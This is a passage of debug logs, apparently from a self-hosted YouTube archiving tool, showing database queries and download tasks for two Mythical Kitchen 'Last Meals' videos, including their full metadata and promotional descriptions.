m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:11.827 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101] 20:49:11.827 [info] Kicking off download for media item #101 (rX5WCm0_flI) 20:49:11.829 [debug] QUERY OK source="tasks" db=0.0ms idle=2.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [100, 101, ~U[2026-03-28 00:49:11Z], ~U[2026-03-28 00:49:11Z]] 20:49:11.829 [debug] Current batch of media processed. Will check again in 1000ms 20:49:12.829 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Macaulay Culkin eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nSAVE BIG on all things Mythical during 12/12 - 12/26! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Macaulay's Last Meal\n0:24 The Half Star Frogsplat\n2:25 How Often Do You Think About Death?\n3:06 1st Course\n4:20 Stealing Spoons\n6:36 Growing Up With 6 Siblings\n8:26 Wanting To Be Normal\n9:30 Home Alone = Castaway\n11:00 Being A Whale Shark\n13:33 Manifesting Fallout 2\n14:33 2nd Course\n16:23 \"I Knew if I Did This You Would Come\"\n17:49 London Tipton & Kevin\n19:47 35 Years Of Home Alone\n22:12 Junior\n23:46 3rd Course\n23:47 LA vs. NY Food\n26:39 Eric Andre Wants To Get Arrested\n28:08 Meeting Brenda\n33:18 4th Course\n33:52 Proud Of Keiran\n35:02 Love For Family\n36:19 Breaking Generational Cycles\n38:43 Bucket List Pie Eating Contest\n39:42 Lightning Round\n41:15 Mac's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2513, "filename" => "/downloads/Last Meals/2025-12-16 Macaulay Culkin Eats His Last Meal/Macaulay Culkin Eats His Last Meal [3JLmNRBi5GU].mp4", "id" => "3JLmNRBi5GU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3JLmNRBi5GU", "playlist_index" => 87, "timestamp" => 1765882812, "title" => "Macaulay Culkin Eats His Last Meal", "upload_date" => "20251216"} 20:49:12.829 [debug] QUERY OK source="sources" db=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:12.830 [debug] QUERY OK source="sources" db=0.0ms idle=1001.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:12.830 [debug] QUERY OK source="media_items" db=0.2ms idle=1001.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 11:00:12Z], 1] 20:49:12.831 [debug] QUERY OK source="media_items" db=0.9ms idle=1001.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Macaulay Culkin eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nSAVE BIG on all things Mythical during 12/12 - 12/26! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Macaulay's Last Meal\n0:24 The Half Star Frogsplat\n2:25 How Often Do You Think About Death?\n3:06 1st Course\n4:20 Stealing Spoons\n6:36 Growing Up With 6 Siblings\n8:26 Wanting To Be Normal\n9:30 Home Alone = Castaway\n11:00 Being A Whale Shark\n13:33 Manifesting Fallout 2\n14:33 2nd Course\n16:23 \"I Knew if I Did This You Would Come\"\n17:49 London Tipton & Kevin\n19:47 35 Years Of Home Alone\n22:12 Junior\n23:46 3rd Course\n23:47 LA vs. NY Food\n26:39 Eric Andre Wants To Get Arrested\n28:08 Meeting Brenda\n33:18 4th Course\n33:52 Proud Of Keiran\n35:02 Love For Family\n36:19 Breaking Generational Cycles\n38:43 Bucket List Pie Eating Contest\n39:42 Lightning Round\n41:15 Mac's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Macaulay Culkin Eats His Last Meal", "94ce211a-d03f-4af8-8e6e-03b4bb130349", "https://www.youtube.com/watch?v=3JLmNRBi5GU", false, "3JLmNRBi5GU", 2513, false, 87, "/downloads/Last Meals/2025-12-16 Macaulay Culkin Eats His Last Meal/Macaulay Culkin Eats His Last Meal [3JLmNRBi5GU].mp4", false, false, 1, [], 0, ~U[2025-12-16 11:00:12Z], ~U[2026-03-28 00:49:12Z], ~U[2026-03-28 00:49:12Z], "Today, Macaulay Culkin eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nSAVE BIG on all things Mythical during 12/12 - 12/26! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Macaulay's Last Meal\n0:24 The Half Star Frogsplat\n2:25 How Often Do You Think About Death?\n3:06 1st Course\n4:20 Stealing Spoons\n6:36 Growing Up With 6 Siblings\n8:26 Wanting To Be Normal\n9:30 Home Alone = Castaway\n11:00 Being A Whale Shark\n13:33 Manifesting Fallout 2\n14:33 2nd Course\n16:23 \"I Knew if I Did This You Would Come\"\n17:49 London Tipton & Kevin\n19:47 35 Years Of Home Alone\n22:12 Junior\n23:46 3rd Course\n23:47 LA vs. NY Food\n26:39 Eric Andre Wants To Get Arrested\n28:08 Meeting Brenda\n33:18 4th Course\n33:52 Proud Of Keiran\n35:02 Love For Family\n36:19 Breaking Generational Cycles\n38:43 Bucket List Pie Eating Contest\n39:42 Lightning Round\n41:15 Mac's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Macaulay Culkin Eats His Last Meal", "https://www.youtube.com/watch?v=3JLmNRBi5GU", "3JLmNRBi5GU", 2513, false, "/downloads/Last Meals/2025-12-16 Macaulay Culkin Eats His Last Meal/Macaulay Culkin Eats His Last Meal [3JLmNRBi5GU].mp4", false, 1, ~U[2025-12-16 11:00:12Z]] 20:49:12.832 [debug] QUERY OK source="sources" db=0.0ms idle=664.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:12.832 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:12.832 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102] 20:49:12.832 [info] Kicking off download for media item #102 (3JLmNRBi5GU) 20:49:12.834 [debug] QUERY OK source="tasks" db=0.0ms idle=1.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [101, 102, ~U[2026-03-28 00:49:12Z], ~U[2026-03-28 00:49:12Z]] 20:49:12.834 [debug] Current batch of media processed. Will check again in 1000ms 20:49:13.834 [debug] Current batch of media processed. Will check again in 1000ms 20:49:14.836 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Gabriel Iglesias's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1883, "filename" => "/downloads/Last Meals/2023-07-06 Gabriel Iglesias Eats His Last Meal/Gabriel Iglesias Eats His Last Meal [isED-J6FRI0].mp4", "id" => "isED-J6FRI0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=isED-J6FRI0", "playlist_index" => 88, "timestamp" => 1688637638, "title" => "Gabriel Iglesias Eats His Last Meal", "upload_date" => "20230706"} 20:49:14.837 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=778.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:14.837 [debug] QUERY OK source="sources" db=0.2ms idle=779.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:14.838 [debug] QUERY OK source="media_items" db=0.5ms idle=780.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 10:00:38Z], 1] 20:49:14.852 [debug] QUERY OK source="media_items" db=13.0ms idle=781.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Gabriel Iglesias's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Gabriel Iglesias Eats His Last Meal", "4636cd63-529e-4d3d-beca-6e82393b4592", "https://www.youtube.com/watch?v=isED-J6FRI0", false, "isED-J6FRI0", 1883, false, 88, "/downloads/Last Meals/2023-07-06 Gabriel Iglesias Eats His Last Meal/Gabriel Iglesias Eats His Last Meal [isED-J6FRI0].mp4", false, false, 1, [], 0, ~U[2023-07-06 10:00:38Z], ~U[2026-03-28 00:49:14Z], ~U[2026-03-28 00:49:14Z], "Today, Josh is cooking Gabriel Iglesias's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Gabriel 